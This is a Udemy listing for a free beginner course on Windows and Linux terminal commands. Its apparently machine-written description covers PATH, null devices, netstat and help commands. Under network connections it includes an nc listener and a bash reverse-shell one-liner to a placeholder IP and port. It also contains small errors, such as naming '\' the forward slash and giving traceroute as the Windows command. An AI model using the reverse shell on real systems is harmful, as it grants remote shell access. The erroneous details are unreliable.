Windows和Linux终端与命令入门课

解放双手,高效工作
3.58 (6 reviews)
Udemy
platform
中文
language
Operating Systems
category
instructor
Windows和Linux终端与命令入门课
285
students
1.5 hours
content
Nov 2021
last update
FREE
regular price

Why take this course?

您提供的信息是关于环境变量、命令行工具的使用、网络连接查看、以及如何高效学习命令等方面的概述。下面我将对这些内容进行稍微详细的解释和补充说明。

1. 环境变量

环境变量是在用户登录系统时,操作系统为该用户设置一组可以使用的变量,它们包含了有关系统的信息和配置。最著名的环境变量是 PATH,它告诉操作系统在什么目录下可以找到可执行程序(如命令行工具)。

  • 在 Windows 中,你可以使用 set 命令查看所有环境变量,或者直接通过 "系统属性" 访问。
  • 在 Linux 和 macOS 中,你可以使用 env 命令查看所有环境变量,或者查看特定的 PATH 环境变量。

2. PATH 环境变量

PATH 是一个由目录路径列表组成的环境变量,当你在命令行中输入一个命令时,系统会在这些目录中搜索相应的可执行文件。如果找到了,就会使用它;否则,会返回错误信息提示你指定正确的路径或命令不存在。

  • 在 Windows 中,你可以通过 set PATH = %PATH%;C:\new\path 添加新路径到 PATH,然后执行 set 或者重新启动命令提示符(cmd)。
  • 在 Linux 中,你可以将新路径添加到 ~/.bash_profile~/.bashrc~/.profile 文件中的 PATH 变量,并使用 source .bashrc 或者重新启动终端(如果系统配置为自动读取这些文件)。

3. 文件黑洞(Null Device)

在命令行中,有时你可能想要执行一个命令并且不希望它输出任何信息到屏幕,这时候可以使用文件黑洞的概念。在 Windows 中,使用 command 2>nul;在 Linux 中,使用 command >/dev/null

4. 查看网络连接状态

  • 在 Windows 和 Linux 中,可以使用 netstat 命令来查看已建立的网络连接。
  • 在 Linux 中,nc -lvp PORT 监听特定端口,而客户端可以通过 bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1" 发起连接。

5. 学习命令

虽然记住所有的命令和参数是非常难,因此使用帮助信息是一个很好的策略。

  • 在 Windows 中,大多数命令都可以通过 command /?(注意是斜杠 / 而不是正斜杠 \)来获取帮助信息。
  • 在 Linux 和 macOS 中,你可以使用 man command 或者 command --help 来获取更详细的帮助文档。

6. 其他网络工具

  • ping 命令用于测试两台计算机之间是否可以通过网络进行通信。在 Windows 和 Linux 中都可以使用 ping IP或Domain 来测试网络连接性。
  • traceroute(Windows)或 tracepath (Linux) 可以显示从源到目的地的路径信息,帮助你了解数据包是如何传播的。

7. 安全注意事项

当处理恶意代码或不可信的网络请求时,要非常小心。例如,ping -n 3 127.0.0.1(Windows)或 ping -c 3 127.0.0.1(Linux)是安全的,因为它们只是测试本地系统的响应。但是,不要运行未知来源的代码,尤其是在可以修改系统配置或执行远程命令的环境中。

希望这些补充能够帮助你更深入地理解上述概念和操作。如果您有任何具体的问题或需要进一步的帮助,请随时提问!

Loading charts...

4420652
udemy ID
29/11/2021
course created date
03/12/2021
course indexed date
Bot
course submited by